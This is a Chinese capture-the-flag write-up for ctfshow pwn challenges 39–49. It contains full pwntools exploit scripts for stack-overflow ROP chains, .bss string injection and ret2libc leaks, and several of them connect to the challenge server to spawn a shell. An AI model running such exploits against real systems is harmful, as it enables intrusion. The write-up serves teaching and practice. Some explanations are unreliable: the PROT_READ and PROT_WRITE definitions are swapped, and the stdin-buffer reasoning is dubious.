#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28174) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 18 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
system = elf.symbols['system']
print("system_addr:" + hex(system))
bin_sh_addr = next(libc.search(b"/bin/sh"))
print("bin_sh_addr:" + hex(bin_sh_addr))
pop_rdi_addr = 0x4007e3
ret_addr = 0x4004fe

payload = padding * b'a' + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system)

# pwndbg附加调试
#gdb.attach(io)
#pause()

delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell

而反之如果是动态的,搜索的过程可以单独写一个py脚本作为模板,使用时只需要传递想获取的gadgets,实现动态调用,模板如下: rop_builder.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
# 构造ROP动态构造链(同时包含gadgets自动寻找)
from pwn import *

def build_rop_chain(elf, gadgets, addresses, order):
rop = ROP(elf)

found_gadgets = {}

# 寻找需要的 gadgets
for gadget in gadgets:
try:
found_gadgets[gadget] = rop.find_gadget([gadget])[0]
print(f'{gadget} gadget at: {hex(found_gadgets[gadget])}')
except Exception:
print(f'Failed to find gadget: {gadget}')
found_gadgets[gadget] = None

# 检查是否找到了所有必须的 gadgets
if None in found_gadgets.values():
raise Exception("Not all required gadgets were found.")

# 构造 ROP 链
for item in order:
if item in found_gadgets:
rop.raw(found_gadgets[item]) # 添加 gadget
elif item in addresses:
rop.raw(addresses[item]) # 添加其他地址
else:
raise Exception(f"Unknown item in order: {item}")

return rop.chain() # 返回构造的 ROP 链

主脚本exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
from pwn import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板

context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn40' # 要pwn的程序及其路径
io = process(pwnfile) # 创建进程对象
# io = remote('pwn.challenge.ctf.show', 28238) # 远程连接

elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)

padding = 18 # 填充长度
print("system_addr:" + hex(elf.symbols['system']))
bin_sh_addr = next(libc.search(b"/bin/sh"))
print("bin_sh_addr:" + hex(bin_sh_addr))

# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'bin_sh': bin_sh_addr, # 使用字典存储 /bin/sh 地址
'system': elf.symbols['system'] # 使用字典存储 system 地址
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'bin_sh', 'ret', 'system'] # 自由定义顺序

# 使用导入的函数构造 ROP 链
payload = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)

# pwndbg 附加调试
# gdb.attach(io)
# pause()

delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter, payload) # 发送 payload
io.interactive() # 交互式 shell

验证,找到的gadgets也和静态时一样: 2024-10-05-20-01-31 打通远程: 2024-09-29-18-27-16

pwn41 ~ pwn42

考察点:system参数替换问题(能找到参数)

  • pwn41:

描述:32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代 查看保护与程序运行情况: 2024-10-05-20-30-08 ida反编译,main函数: 2024-10-05-20-50-52 ctfshow: 2024-10-05-21-09-20 hint: 2024-10-05-21-10-10 虽然题目中说没有/bin/sh,但useful函数中有出现sh,printf输出前肯定得有先获取到sh字符串,而在linux中,实际上system("sh")也能起到与system("/bin/sh")等效的作用,但前提是目标系统已经把环境变量设置好,也就是说依赖系统的环境变量$PATH来查找 sh 可执行文件并执行: 2024-10-05-21-27-01 先用gdb确定padding为22,exp与pwn39同理,只需做微小改变:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn41' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28238) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 22 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
system = elf.symbols['system']
print("system_addr:" + hex(system))
sh_addr = next(libc.search(b"sh"))
print("sh_addr:" + hex(sh_addr))

payload = padding * b'a' + p32(system) + p32(0) + p32(sh_addr)

# pwndbg附加调试
#gdb.attach(io)
#pause()

delimiter = ''
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
  • pwn42:

描述:64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代 查看保护与程序运行情况: 2024-10-06-18-35-05 所有关键函数都与pwn41一样,只不过由于函数调用不同,导致payload构造时有差异。 先用gdb确定padding为18,exp用pwn40的,稍加修改,对于引入的ROP动态链构造模板,pwn40已有,不再赘述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
from pwn import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板

context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn42' # 要pwn的程序及其路径
io = process(pwnfile) # 创建进程对象
#io = remote('pwn.challenge.ctf.show', 28289) # 远程连接

elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)

padding = 18 # 填充长度
print("system_addr:" + hex(elf.symbols['system']))
sh_addr = next(libc.search(b"sh"))
print("sh_addr:" + hex(sh_addr))

# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'sh': sh_addr, # 使用字典存储sh地址
'system': elf.symbols['system'] # 使用字典存储 system 地址
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'sh', 'ret', 'system'] # 自由定义顺序

# 使用导入的函数构造 ROP 链
payload = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)

# pwndbg 附加调试
# gdb.attach(io)
# pause()

delimiter = ''
io.sendlineafter(delimiter, payload) # 发送 payload
io.interactive() # 交互式 shell

pwn43 ~ pwn44

考察点:ret2win栈溢出无sh类参数-向可写数据段内自行写入

补充点:在ida中计算padding(仅参考)

  • pwn43:

描述:32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法 查看保护与程序运行情况: 2024-10-06-18-58-37 其他函数都几乎变化不大,除了: ctfshow函数: 2024-10-06-20-44-29 这里改成了用gets获取输入,gets不会判断输入长度,存在无限读,所以存在溢出。 hint函数: 2024-10-06-20-18-43 在其中找到了system函数,但没有sh参数。

并且gdb用原来的cyclic计算padding时失效了,不管输入多少个,都没有导致程序段错误,寄存器中也无法找到我们输入的其中一部分值,而是: 2024-10-06-21-03-30 其实并不是失效,实际上是因为我们的输入长度不够大,所以可以尝试增加长度,如: 2024-10-06-21-07-39 所以padding是112。 实际上也可以直接通过ida静态分析来判断,但注意仅作为参考数据!因为实际的栈布局和数据顺序在运行时与静态时可能会有所不同! 2024-10-06-20-44-29 该函数中,由于调用gets函数时,栈的结构从上往下(地址递增)依次是:局部变量s(104字节)、旧的(调用gets函数前的函数的)ebp(4字节指针)、返回地址(4字节),原伪代码处的注释表明该局部变量s的相对位置。所以当溢出时要覆盖到返回地址,则从局部变量s开始算,往下偏移6C溢出到ebp,再继续溢出0x4到返回地址,即padding = 0x6C+0x4

而此时假如再用和pwn39一样的exp,就无法再找到“/bin/sh“了,即使是sh也没有: 2024-10-06-21-14-16 2024-10-06-21-14-57 这也就意味着目标程序和libc中都没有sh类参数,我们无法从任何地方找到它。但是这并不代表着无法实现system("/bin/sh")了,实际上我们还可以自己写入/bin/sh,但问题就在于写入到哪里? 当我们在gdb中用vmmap查看内存分布时,发现存在一个DATA数据段是存在 写入权限的,显然我们就可以通过可控输入(利用gets函数)将/bin/sh写入在该数据段内。 2024-10-07-12-56-54 为了确保写入时不会出问题,有必要先用ida看看该数据段内都有哪些内容,快捷键ctrl+s2024-10-07-13-03-23 最后,我们发现了.bss段中有一个未初始化的变量buf2可以利用: 2024-10-07-13-08-09 显然我们可以将/bin/sh赋值给该变量,记下该地址0x804B060

.bss 段是一个用于存储未初始化的全局变量和静态变量的区域。

而又因为i386函数传参调用约定表明,传参时参数存储在栈上,所以构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn43' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28116) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 112 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
gets = elf.symbols['gets']
system = elf.symbols['system']
print("system_addr:" + hex(system))
bin_sh = 0x804b060 # bss段的buf2

payload = padding * b'a' + p32(gets) + p32(system) + p32(bin_sh) + p32(bin_sh)

# pwndbg附加调试
#gdb.attach(io)
#pause()

delimiter = ''
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell

注意这里的payload顺序,首先system作为gets的返回地址,传参时,第一个p32(bin_sh)既作为gets的参数又作为system的返回地址,虽然是无效地址但必须指定; 第二个则是作为system的参数,从而getshell。

  • pwn44:

描述:64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法 查看保护与程序运行情况: 2024-10-07-13-34-25 ida中的函数都和i386时差不多,不再赘述。 gdb计算padding为18,ida中计算后也一样: 2024-10-07-16-22-22 2024-10-07-16-24-54 看看内存分布: 2024-10-07-13-45-37 查看bss段同样发现了未初始化变量buf2可以利用: 2024-10-07-13-47-03 地址是0x602080。 因此可以构造exp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
from pwn import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板

context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn44' # 要pwn的程序及其路径
io = process(pwnfile) # 创建进程对象
#io = remote('pwn.challenge.ctf.show', 28258) # 远程连接

elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)

padding = 18 # 填充长度
print("system_addr:" + hex(elf.symbols['system']))
print("gets_addr:" + hex(elf.symbols['gets']))
bin_sh = 0x602080

# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'sh': bin_sh, # 使用字典存储sh地址
'system': elf.symbols['system'], # 使用字典存储 system 地址
'gets': elf.symbols['gets']
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'sh', 'ret', 'gets', 'pop rdi', 'sh', 'ret', 'system'] # 自由定义顺序

# 使用导入的函数构造 ROP 链
payload = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)

# pwndbg 附加调试
# gdb.attach(io)
# pause()

delimiter = ''
io.sendlineafter(delimiter, payload) # 发送 payload
io.interactive() # 交互式 shell

ROP动态链构造模板见pwn39~pwn40

pwn45 ~

考察点:ret2win时无system也无sh-基本ret2libc利用流程、GOT表PLT表以及延迟绑定机制的深入理解、利用标准输入(缓冲区)获取泄露信息的意义

  • pwn45:

描述:32位 无 system 无 "/bin/sh" 查看保护与程序运行情况: 2024-10-07-20-54-22 main: 2024-10-07-21-06-18 ctfshow: 2024-10-07-21-07-03 read存在溢出,初步计算padding = 0x6b+0x4 除此外并未找到system和sh参数。 gdb确认padding,就是111: 2024-10-07-21-12-55 现在的问题就在于何处找system和sh,当目标程序内部没有时,实际上我们还可以尝试去libc中寻找。 因为这是动态链接的程序,当程序运行时,libc等其他链接项中的函数变量等可通过GOT、PLT表找到位置并使用,也就是ret2libc的玩法。 但是我们需要先知道目标用到的libc版本。由于各个函数在同一个libc中的相对偏移量几乎是固定的,所以我们可以通过利用GOT表泄露出libc中某个函数(通常是输出类函数)的地址,根据上述原理找到libc版本,进而通过该函数在libc中的偏移和实际运行时加载在内存中的偏移关系,推得libc基地址,最终计算出我们需要的函数、变量所在偏移(如system函数、/bin/sh)。

GOT表能泄露出libc中某个函数的地址,是由于 libc的延迟绑定机制,函数调用不会在程序启动时立即解析,而是在首次调用该函数时进行解析,即只有在第一次使用时才会去寻找函数地址,第二次调用开始就直接用该地址,这和web中的“懒加载”有些异曲同工之妙。 具体解析时的底层逻辑:当程序首次调用动态库中的函数时,控制流会跳转到 PLT 中的相关条目。接着PLT 中的条目执行一个跳转到动态链接器ld.so,动态链接器会解析该函数的实际地址并更新 GOT。之后的调用将直接跳转到实际地址,而无需再次解析。

PLT(Procedure Linkage Table):一个用于存储函数调用的跳转地址的表。初始时,PLT 中的函数调用指向一个特殊的处理函数。 GOT(Global Offset Table):存储动态链接库函数的实际地址。初始时,GOT 中的地址未被填充。

PS:学习阶段,建议动调一遍感受调用函数前后,拿到的函数地址的变化,然后试着寻找GOT、PLT。

既然要泄露就得有输出,要找与输出相关的函数,正好有write,先泄露再利用,因此构造payload时要分两次(即溢出两次)。

所以第一步要调用write,将其GOT表中的值(非实际地址)作为参数,从而让其输出延迟绑定执行后实际加载到内存中的write函数地址,这一步相当于我们直接走快车道手动还原一遍write的完整调用过程了,注意调用时要遵循write函数的原型: ssize_t write(int fd,const void*buf,size_t count); fd:是文件描述符(0标准输入、1标准输出、2标准错误); buf:通常是一个字符串,需要写入的字符串; count:是每次写入的字节数 因此构造第一次payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn45' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28116) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 111
# 泄露GOT表中存储的write实际地址
write_plt = elf.plt['write']
print("write_plt_addr:" + hex(write_plt))
write_got = elf.got['write']
print("write_got_addr:" + hex(write_got))
main = elf.symbols['main'] # write的返回

pld1 = padding * b'a' + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4)
delimiter = 'O.o?'
io.sendlineafter(delimiter,pld1)
leak_write = u32(io.recvuntil('\xf7')[-4:])
#leak_write = u32(io.recv()[0:4])
print("leak_write_addr:" + hex(leak_write))

调用write后返回main的原因在于,便于第二次构造payload时能够再溢出一次完成利用。

payload都好构造,但尤其需要注意的点就是尝试接收泄露的地址时的字符串处理(截取)问题,刚开始可以尝试用leak_write = u32(io.recv()[0:4])是否能够成功从我们的标准输入中接收到泄露地址,若不能则必须通过gdb动调查看发送payload时都发生了什么。由于exp中开启了DEBUG模式,可以直接方便地查看,如下: 2024-10-09-05-01-33

在这个阶段,要特别注意缓冲区的概念,此刻缓冲区就变得具象化了,另外实际上这些待接收数据是优先通过write被写入到了标准输入缓冲区中!而我们尝试读取接收到的数据也是优先从标准输入缓冲区中读取!

这里有个非常关键的细节!为什么上面要取fd=0而不是fd=1呢?第一眼看上去似乎该涉及思路与write的输出功能有些矛盾,根据write函数的常规用法,一般通过fd=1标准输出将内容输出到终端或其他设备,如何选择除了基于目标程序的输入处理方式,关键还要看我们攻击者的需求!因为通过将泄露的数据写入到标准输入(缓冲区)中,可以确保程序后续能够读取到这些数据(比如后续搜索libc版本要用到该地址)。 想象一下假设把该地址写入到标准输出,很容易就和其他正常输出内容混合在一块,数量大的话根本难以辨认(即使在输出缓冲区中也不保险,缓冲区满后也会输出到终端被混合),更重要的是,标准输出的数据通常是不可直接被程序内部读取的!换句话说,程序无法从标准输出中直接获取之前写入的数据,除非这些数据被重定向到文件或通过管道传递。所以将泄露信息写入到标准输入是非常聪明的做法。

为什么会出现这个报错?实际上也给出提示了,表明解包需要4个字节大小的缓冲区。也就是说在调用 write 函数后,标准输入的缓冲区中没有足够的数据可供读取(例如,因缓冲机制没有刷新),那么 recv() 可能会返回少于 4 字节的数据,甚至可能返回空数据。所以此时仅仅用recv()来接收远远不够;

显然需要再多接收一些,但是接收要有个限度,需要有个标准,回顾需求,我们只需要泄露的地址,而由于libc中的地址一般是以0xf7开头(通过vmmap就能看出),这是重要特征且干扰较小(因为在该局部范围内除了该泄露地址外的其他数据几乎不会有这个特征),因此可作为接收的终点标志,因此我们就可以改用recvuntil()

recvuntil()会在接收到特定的结束标志(该处即/xf7)之前,持续从标准输入的缓冲区中读取数据,这意味着它会尽可能多地捕获输出,直到遇到该标志,这样就能够确保捕获到足够的字节,包括泄露的完整write函数实际地址。 由于此时接收到的数据长度很可能大于或等于 4 字节,因此可以安全地使用u32()来解包最后的4个字节。

检验从标准输入的缓冲区中是否读取到的字节数不够,从下面给出的简单代码片段也能得到验证:

1
2
3
4
5
6
7
。。。
io.sendlineafter(delimiter,pld1)
data = io.recv()
print(f"Received data: {data} (length: {len(data)})")
if len(data) < 4:
raise ValueError("Received data is less than 4 bytes")
leak_write = u32(data[0:4])

2024-10-09-05-04-41recvuntil()也确实接收到了泄露地址: 2024-10-09-05-05-34 0xf7e6b6f0(注意该地址在实际测试中发现每次运行后并不是固定的,也就是程序运行后分配给write函数的实际内存地址)

接着就是搜索libc地址,记得开头引入库: from LibcSearcher import *

1
2
# 根据泄露地址搜索libc版本
libc = LibcSearcher("write", leak_write)

注意这里出现了多个可能的libc结果,但是选项不多,可以挨个尝试,以最终是否能够打通来做验证(注意这题很容易出现本地打不通一直卡着而远程却能打通的情况,因为这道题对libc版本要求较为苛刻,然后环境变量默认指向的是本地默认的libc库), 另外发现返回的libc对象中,不仅打印出对应libc版本号,还有几个经常使用的符号(函数、字符串)在libc中的相对偏移量。 2024-10-09-05-11-42 既然知道了libc版本,就可以继续计算出libc基地址以及更多需要的偏移:

1
2
3
4
5
6
7
# 计算libc基地址与需要的偏移
libc_base = leak_write - libc.dump("write")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))

2024-10-09-05-16-20 验证成功。

最后一步,利用上面计算获取到的system和sh参数再溢出一次即可:

1
2
3
pld2 = padding * b'a' + p32(system) + p32(main) + p32(binsh)
io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell

2024-10-09-05-17-45

补充: 另外,通过上述gdb调试过程中,当我们首次调用write前后,观察gdb的输出,能够更加具象化地体会到GOT、PLT之间的配合,以及各个输出代表的含义,许多地方都能一一对应上: 2024-10-09-05-19-40 符号表获取到的: 2024-10-09-05-20-11 首次调用write时: 2024-10-09-05-24-39 注意这里找到got.plt后,不是直接跳转到实际的write地址处,而是要先经过_dl_runtime_resolve 2024-10-09-05-26-13

_dl_runtime_resolve是动态链接器中的一个关键函数, 当程序调用某个动态链接的函数时,运行时系统会通过它查找该符号的地址,解析出符号地址后, 动态链接器会在全局偏移表中更新相应的条目,以便后续调用能够直接使用这个地址,而不需要再次解析, 所以它在延迟绑定中起到非常关键的作用。

然后调试过程中尝试在内存中将返回地址修改为write函数地址,也就是write函数第一次调用完再重新调用一次,看看此时发生的变化: ret前修改内存值为write的调用位置0x80483b02024-10-09-05-53-47 再ni一步,看看是否成功修改了执行流,发现修改成功,并且第二次调用write时不再有_dl_runtime_resolve解析符号地址的步骤,印证了上述的分析: 2024-10-09-05-55-48

  • pwn46:

描述:64位 无 system 无 "/bin/sh" 查看保护与程序运行情况: 2024-10-09-06-06-03 函数几乎与pwn45的没多大差别,计算出padding为120。整体利用思路也一样,无非就是amd64传参时需要借助gadgets来实现ROP以及传参时部分构造顺序的不同罢了,构造时举一反三即可。 首先用ropper大致摸排一下可用的gadgets大致情况: 2024-10-09-06-29-06 发现第三个参数没办法用rdx来传递,但是存在r15,因此构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板

context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn46' # 要pwn的程序及其路径
#io = process(pwnfile) # 创建进程对象
io = remote('pwn.challenge.ctf.show', 28177) # 远程连接

elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)

padding = 120 # 填充长度
# 泄露GOT表中存储的write实际地址
write_plt = elf.plt['write']
print("write_plt_addr:" + hex(write_plt))
write_got = elf.got['write']
print("write_got_addr:" + hex(write_got))
main = elf.symbols['main'] # write的返回

# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'pop rsi'] # 可以根据需要修改
addresses = {
'0': 0x0, # 使用字典存储地址
'write_got': write_got,
'8': 0x8,
'write_plt': write_plt,
'main': main
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', '0', 'pop rsi', 'write_got', '8', 'write_plt', 'main'] # 自由定义顺序

# 使用导入的函数构造 ROP 链
pld1 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
delimiter = 'O.o?'
io.sendlineafter(delimiter,pld1)

# 初步测试是否能够接收到
#leak_write = u64(io.recv()[0:8])
# 验证是否接收不够
#data = io.recv()
#print(f"Received data: {data} (length: {len(data)})")
#if len(data) < 8:
# raise ValueError("Received data is less than 8 bytes")

# 正确的接收泄露地址方式
leak_write = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("leak_write_addr:" + hex(leak_write))

# 根据泄露地址搜索libc版本
libc = LibcSearcher("write", leak_write)

# 计算libc基地址与需要的偏移
libc_base = leak_write - libc.dump("write")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))
# pwndbg 附加调试
# gdb.attach(io)
# pause()

# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi'] # 可以根据需要修改
addresses = {
'binsh': binsh,
'system': system
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'binsh', 'system'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
pld2 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)

io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell

ROP构造链模板见pwn39~pwn40。 这里要注意amd64时,libc的地址开头变成了\x7f,更重要的是,截取地址时一般取6位,ljust是用于自动满足栈对齐,然后指定用0x00来填充。

pwn47

考察点:基本ret2libc、利用recvuntil动态接收变化的函数地址并用eval转地址为整数

描述:ez ret2libc 查看保护与程序运行状态: 2024-10-09-20-14-53 gdb计算出padding为160。 ida的main函数: 2024-10-09-20-20-14 ctfshow函数: 2024-10-09-20-23-59 main的useful看起来有些可疑,跟进看看: 2024-10-09-20-52-04 发现给的就是/bin/sh的地址,即最初运行时对应的gift:0x804b028 另外既然已经直接给出了一些常用函数的地址,就无需再像上面的题目一样利用延迟绑定来泄露。 直接构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
from LibcSearcher import *

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn47' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28307) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 160
puts = 0xf7d61c40
binsh = 0x804b028
main = elf.symbols['main']

# 根据泄露地址搜索libc版本
libc = LibcSearcher("puts", puts)

# 计算libc基地址与需要的偏移
libc_base = puts - libc.dump("puts")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
# pwndbg附加调试
#gdb.attach(io)
#pause()

pld = padding * b'a' + p32(system) + p32(main) + p32(binsh)
delimiter = 'time:'
io.sendlineafter(delimiter, pld)
io.interactive() # 打通后获得一个交互式shell

然而并没有搜索到libc版本: 2024-10-09-21-10-11 然而多次运行发现每次生成的这些函数地址都是不一样的。因此参考了官方的wp,给出了很好的exp方案: 只需要将puts和gift(binsh)获取方式由静态改为动态获取即可:

1
2
3
4
io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))

第一次的recvuntil主要用于跳过前面没用的提示语句并等待puts生成的地址;第二次则是继续接收生成的地址,知道遇到换行符,drop = True表示在返回结果时去掉结束字符串(即不包括换行符),eval则用于执行,即计算字符串中的 Python 表达式(这里是十六进制地址的字符串),并返回字符串转整数的计算结果,这里用eval并不是空穴来风,因为传输的地址不能为字符串而应该是整数: 2024-10-09-21-36-00 拿到flag: 2024-10-09-21-29-03

pwn48

考察点:基本ret2libc

描述:没有write了,试试用puts吧,更简单了呢 查看保护与程序运行情况: 2024-10-09-21-45-12 函数情况: 2024-10-09-21-46-10 2024-10-09-21-46-24 显然就是之前的程序,gdb计算出padding为111。 根据提示,把原来泄露目标由write改为puts即可。 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
from LibcSearcher import *

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn48' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28313) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 111
# 泄露GOT表中存储的puts实际地址
puts_plt = elf.plt['puts']
print("puts_plt_addr:" + hex(puts_plt))
puts_got = elf.got['puts']
print("puts_got_addr:" + hex(puts_got))
main = elf.symbols['main'] # puts的返回

pld1 = padding * b'a' + p32(puts_plt) + p32(main) + p32(puts_got)
delimiter = 'O.o?'
io.sendlineafter(delimiter,pld1)

# 初步测试是否能够接收到
#leak_puts = u32(io.recv()[0:4])
# 验证是否接收不够
#data = io.recv()
#print(f"Received data: {data} (length: {len(data)})")
#if len(data) < 4:
# raise ValueError("Received data is less than 4 bytes")

# 正确的接收泄露地址方式
leak_puts = u32(io.recvuntil('\xf7')[-4:])
print("leak_puts_addr:" + hex(leak_puts))

# 根据泄露地址搜索libc版本
libc = LibcSearcher("puts", leak_puts)

# 计算libc基地址与需要的偏移
libc_base = leak_puts - libc.dump("puts")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))
# pwndbg附加调试
#gdb.attach(io)
#pause()

pld2 = padding * b'a' + p32(system) + p32(main) + p32(binsh)
io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell

pwn49(待解决残留问题)

考察点:静态编译程序ROP、利用mprotect修改内存属性写入shellcode(ret2BSS/ret2DATA)、内存页的理解

描述:静态编译?或许你可以找找mprotect函数 查看保护与程序运行情况: 2024-10-09-22-08-10 发现此时保护中发生了些变化,存在Canary(但参考官方wp后,实际上是由于checksec版本较低导致的误报)。另外,观察相对较大的文件size,确实像是静态编译过的程序,通过vmmap查看,确实是静态的,因为没有任何的libc和其他库: 2024-10-09-22-14-30 gdb计算padding为22。 查看ida,发现静态编译后的程序多了一大堆复杂名字的函数,有种除了main函数外其他都懒得看的感觉。 2024-10-09-22-23-28 2024-10-09-22-23-41 还是和前面的题类似,唯一不同的是,现在是静态编译,无法再通过ret2libc的方法来获取system函数和sh参数。 只能根据提示看看所谓的mprotect函数具体是什么内容: 2024-10-09-23-30-53 总之就是能够实现修改某部分内存区域的权限,因此可以尝试在该区域写入shellcode,从而实现控制程序执行。(虽然程序开启了NX保护,但如果利用该函数在栈外的内存空间进行修改,此时就相当于绕过了NX) 其中,prot(即上面的a3)可以取以下几个值,并且可以用|将几个属性合起来使用: 1)PROT_READ:表示内存段内的内容可写; 2)PROT_WRITE:表示内存段内的内容可读; 3)PROT_EXEC:表示内存段中的内容可执行; 4)PROT_NONE:表示内存段中的内容根本没法访问。 5) prot=7 是可读可写可执行

